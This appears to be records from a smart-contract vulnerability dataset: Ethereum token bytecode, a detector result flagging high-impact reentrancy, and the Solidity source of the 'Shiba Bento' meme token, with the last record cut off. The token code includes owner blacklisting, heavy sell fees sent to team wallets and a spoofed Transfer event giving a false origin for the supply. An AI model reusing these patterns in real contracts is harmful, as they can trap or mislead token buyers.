0x6080604052600436106101d05760003560e01c80637c519ffb116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610544578063dd62ed3e1461055a578063ea1644d5146105a0578063f2fde38b146105c057600080fd5b8063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f578063c492f0461461052457600080fd5b80638f9a55c0116100d15780638f9a55c01461043d57806395d89b411461045357806398a5c3151461047f578063a2a957bb1461049f57600080fd5b80637c519ffb146103f45780637d1db4a5146104095780638da5cb5b1461041f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101ab5780631694505e1461027a57806318160ddd146102b257806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b9e565b6105e0565b005b34801561020a57600080fd5b506040805180820190915260118152706b696e6720676869646f72616820696e7560781b60208201525b6040516102419190611c63565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611cb8565b61067f565b6040519015158152602001610241565b34801561028657600080fd5b5060155461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50683635c9adc5dea000005b604051908152602001610241565b3480156102e457600080fd5b5061026a6102f3366004611ce4565b610696565b34801561030457600080fd5b506102ca60195481565b34801561031a57600080fd5b5060405160098152602001610241565b34801561033657600080fd5b5060165461029a906001600160a01b031681565b34801561035657600080fd5b506101fc610365366004611d25565b610716565b34801561037657600080fd5b506101fc610385366004611d52565b610761565b34801561039657600080fd5b506101fc6107a9565b3480156103ab57600080fd5b506102ca6103ba366004611d25565b6107f4565b3480156103cb57600080fd5b506101fc610816565b3480156103e057600080fd5b506101fc6103ef366004611d6d565b61088a565b34801561040057600080fd5b506101fc61092c565b34801561041557600080fd5b506102ca60175481565b34801561042b57600080fd5b506000546001600160a01b031661029a565b34801561044957600080fd5b506102ca60185481565b34801561045f57600080fd5b506040805180820190915260038152624b474960e81b6020820152610234565b34801561048b57600080fd5b506101fc61049a366004611d6d565b61096f565b3480156104ab57600080fd5b506101fc6104ba366004611d86565b61099e565b3480156104cb57600080fd5b5061026a6104da366004611cb8565b610a5d565b3480156104eb57600080fd5b5061026a6104fa366004611d25565b60116020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc610a6a565b34801561053057600080fd5b506101fc61053f366004611db8565b610abe565b34801561055057600080fd5b506102ca60085481565b34801561056657600080fd5b506102ca610575366004611e3c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ac57600080fd5b506101fc6105bb366004611d6d565b610b5f565b3480156105cc57600080fd5b506101fc6105db366004611d25565b610c03565b6000546001600160a01b031633146106135760405162461bcd60e51b815260040161060a90611e75565b60405180910390fd5b60005b815181101561067b5760016011600084848151811061063757610637611eaa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067381611ed6565b915050610616565b5050565b600061068c338484610ced565b5060015b92915050565b60006106a3848484610e11565b3360009081526005602052604090205460ff1661070c5761070c843361070785604051806060016040528060288152602001611ff0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113df565b610ced565b5060019392505050565b6000546001600160a01b031633146107405760405162461bcd60e51b815260040161060a90611e75565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461078b5760405162461bcd60e51b815260040161060a90611e75565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107de57506014546001600160a01b0316336001600160a01b0316145b6107e757600080fd5b476107f181611419565b50565b6001600160a01b0381166000908152600260205260408120546106909061149e565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161060a90611e75565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b45760405162461bcd60e51b815260040161060a90611e75565b6108c96103e8683635c9adc5dea00000611ef1565b8110156109275760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b606482015260840161060a565b601755565b6000546001600160a01b031633146109565760405162461bcd60e51b815260040161060a90611e75565b6016805460ff60a01b1916600160a01b17905543600855565b6000546001600160a01b031633146109995760405162461bcd60e51b815260040161060a90611e75565b601955565b6000546001600160a01b031633146109c85760405162461bcd60e51b815260040161060a90611e75565b6009849055600b839055600a829055600c81905560006109e88285611f13565b905060006109f68487611f13565b9050606482111580610a09575060648111155b610a555760405162461bcd60e51b815260206004820152601760248201527f46656573206d75737420626520756e6465722031303025000000000000000000604482015260640161060a565b505050505050565b600061068c338484610e11565b6013546001600160a01b0316336001600160a01b03161480610a9f57506014546001600160a01b0316336001600160a01b0316145b610aa857600080fd5b6000610ab3306107f4565b90506107f181611522565b6000546001600160a01b03163314610ae85760405162461bcd60e51b815260040161060a90611e75565b60005b82811015610b59578160056000868685818110610b0a57610b0a611eaa565b9050602002016020810190610b1f9190611d25565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b5181611ed6565b915050610aeb565b50505050565b6000546001600160a01b03163314610b895760405162461bcd60e51b815260040161060a90611e75565b610b9e6103e8683635c9adc5dea00000611ef1565b811015610bfe5760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b606482015260840161060a565b601855565b6000546001600160a01b03163314610c2d5760405162461bcd60e51b815260040161060a90611e75565b6001600160a01b038116610c925760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161060a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060a565b6001600160a01b038216610db05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060a565b6001600160a01b038216610ed75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060a565b60008111610f395760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060a565b6000546001600160a01b03848116911614801590610f6557506000546001600160a01b03838116911614155b156112bd57601654600160a01b900460ff16610ffe576000546001600160a01b03848116911614610ffe5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161060a565b6017548111156110505760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161060a565b6001600160a01b03831660009081526011602052604090205460ff1615801561109257506001600160a01b03821660009081526011602052604090205460ff16155b6110ea5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161060a565b600854431115801561110957506016546001600160a01b038481169116145b801561112357506015546001600160a01b03838116911614155b801561113857506001600160a01b0382163014155b15611161576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111e65760185481611183846107f4565b61118d9190611f13565b106111e65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161060a565b60006111f1306107f4565b60195460175491925082101590821061120a5760175491505b8080156112215750601654600160a81b900460ff16155b801561123b57506016546001600160a01b03868116911614155b80156112505750601654600160b01b900460ff165b801561127557506001600160a01b03851660009081526005602052604090205460ff16155b801561129a57506001600160a01b03841660009081526005602052604090205460ff16155b156112ba576112a882611522565b4780156112b8576112b847611419565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112ff57506001600160a01b03831660009081526005602052604090205460ff165b8061133157506016546001600160a01b0385811691161480159061133157506016546001600160a01b03848116911614155b1561133e575060006113d3565b6016546001600160a01b03858116911614801561136957506015546001600160a01b03848116911614155b1561137b57600954600d55600a54600e555b6016546001600160a01b0384811691161480156113a657506015546001600160a01b03858116911614155b156113d35760006113c4600c54600a546116ab90919063ffffffff16565b5050600b54600d55600c54600e555b610b59848484846116ed565b600081848411156114035760405162461bcd60e51b815260040161060a9190611c63565b5060006114108486611f2b565b95945050505050565b6013546001600160a01b03166108fc6114338360026116ab565b6040518115909202916000818181858888f1935050505015801561145b573d6000803e3d6000fd5b506014546001600160a01b03166108fc6114768360026116ab565b6040518115909202916000818181858888f1935050505015801561067b573d6000803e3d6000fd5b60006006548211156115055760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161060a565b600061150f61171b565b905061151b83826116ab565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061156a5761156a611eaa565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115be57600080fd5b505afa1580156115d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f69190611f42565b8160018151811061160957611609611eaa565b6001600160a01b03928316602091820292909201015260155461162f9130911684610ced565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611668908590600090869030904290600401611f5f565b600060405180830381600087803b15801561168257600080fd5b505af1158015611696573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b600061151b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061173e565b806116fa576116fa61176c565b61170584848461179a565b80610b5957610b59600f54600d55601054600e55565b6000806000611728611891565b909250905061173782826116ab565b9250505090565b6000818361175f5760405162461bcd60e51b815260040161060a9190611c63565b5060006114108486611ef1565b600d5415801561177c5750600e54155b1561178357565b600d8054600f55600e805460105560009182905555565b6000806000806000806117ac876118d3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117de9087611930565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461180d9086611972565b6001600160a01b03891660009081526002602052604090205561182f816119d1565b6118398483611a1b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187e91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006118ad82826116ab565b8210156118ca57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006118f08a600d54600e54611a3f565b925092509250600061190061171b565b905060008060006119138e878787611a94565b919e509c509a509598509396509194505050505091939550919395565b600061151b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113df565b60008061197f8385611f13565b90508381101561151b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060a565b60006119db61171b565b905060006119e98383611ae4565b30600090815260026020526040902054909150611a069082611972565b30600090815260026020526040902055505050565b600654611a289083611930565b600655600754611a389082611972565b6007555050565b6000808080611a596064611a538989611ae4565b906116ab565b90506000611a6c6064611a538a89611ae4565b90506000611a8482611a7e8b86611930565b90611930565b9992985090965090945050505050565b6000808080611aa38886611ae4565b90506000611ab18887611ae4565b90506000611abf8888611ae4565b90506000611ad182611a7e8686611930565b939b939a50919850919650505050505050565b600082611af357506000610690565b6000611aff8385611fd0565b905082611b0c8583611ef1565b1461151b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f157600080fd5b8035611b9981611b79565b919050565b60006020808385031215611bb157600080fd5b823567ffffffffffffffff80821115611bc957600080fd5b818501915085601f830112611bdd57600080fd5b813581811115611bef57611bef611b63565b8060051b604051601f19603f83011681018181108582111715611c1457611c14611b63565b604052918252848201925083810185019188831115611c3257600080fd5b938501935b82851015611c5757611c4885611b8e565b84529385019392850192611c37565b98975050505050505050565b600060208083528351808285015260005b81811015611c9057858101830151858201604001528201611c74565b81811115611ca2576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611ccb57600080fd5b8235611cd681611b79565b946020939093013593505050565b600080600060608486031215611cf957600080fd5b8335611d0481611b79565b92506020840135611d1481611b79565b929592945050506040919091013590565b600060208284031215611d3757600080fd5b813561151b81611b79565b80358015158114611b9957600080fd5b600060208284031215611d6457600080fd5b61151b82611d42565b600060208284031215611d7f57600080fd5b5035919050565b60008060008060808587031215611d9c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611dcd57600080fd5b833567ffffffffffffffff80821115611de557600080fd5b818601915086601f830112611df957600080fd5b813581811115611e0857600080fd5b8760208260051b8501011115611e1d57600080fd5b602092830195509350611e339186019050611d42565b90509250925092565b60008060408385031215611e4f57600080fd5b8235611e5a81611b79565b91506020830135611e6a81611b79565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611eea57611eea611ec0565b5060010190565b600082611f0e57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611f2657611f26611ec0565b500190565b600082821015611f3d57611f3d611ec0565b500390565b600060208284031215611f5457600080fd5b815161151b81611b79565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611faf5784516001600160a01b031683529383019391830191600101611f8a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611fea57611fea611ec0565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d232363819e81ed8152a5e69e525a4d50a7b10c5368fe23b1b261da7f6d6299664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,817
0x510b76a73647698d8cafacc748fe9efc8b7ae197
/** *Submitted for verification at Etherscan.io on 2021-06-30 */ /** *Submitted for verification at Etherscan.io on 2021-06-30 */ /* t.me/shibento Shiba Bento $SHIBENTO ███████╗██╗ ██╗██╗██████╗ ███████╗███╗ ██╗████████╗ ██████╗ ██╔════╝██║ ██║██║██╔══██╗██╔════╝████╗ ██║╚══██╔══╝██╔═══██╗ ███████╗███████║██║██████╔╝█████╗ ██╔██╗ ██║ ██║ ██║ ██║ ╚════██║██╔══██║██║██╔══██╗██╔══╝ ██║╚██╗██║ ██║ ██║ ██║ ███████║██║ ██║██║██████╔╝███████╗██║ ╚████║ ██║ ╚██████╔╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ The next foodtoken for our incoming ShibaChef Platform. So so delicious! Join our general group on telegram => t.me/shibento Fair launch! No presale/team/dev tokens! Designed and developed by the Shiba Ramen core team (@shibaramen) | t.me/shibaramen LP Lock immediately on launch. Ownership will be renounced 10 minutes after launch. Slippage Recommended: 18%+ SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Shibento is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shiba Bento"; string private constant _symbol = unicode'SHIBENTO🍱'; uint8 private constant _decimals = 12; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3.25e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d64565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061288e565b61045e565b6040516101789190612d49565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ee6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061283b565b61048d565b6040516101e09190612d49565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127a1565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612f5b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612917565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127a1565b610783565b6040516102b19190612ee6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612c7b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612d64565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061288e565b61098d565b60405161035b9190612d49565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128ce565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612971565b6110ab565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127fb565b6111f4565b6040516104189190612ee6565b60405180910390f35b60606040518060400160405280600b81526020017f53686962612042656e746f000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161363960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b069092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612e46565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600c905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612e46565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b6a565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c65565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a00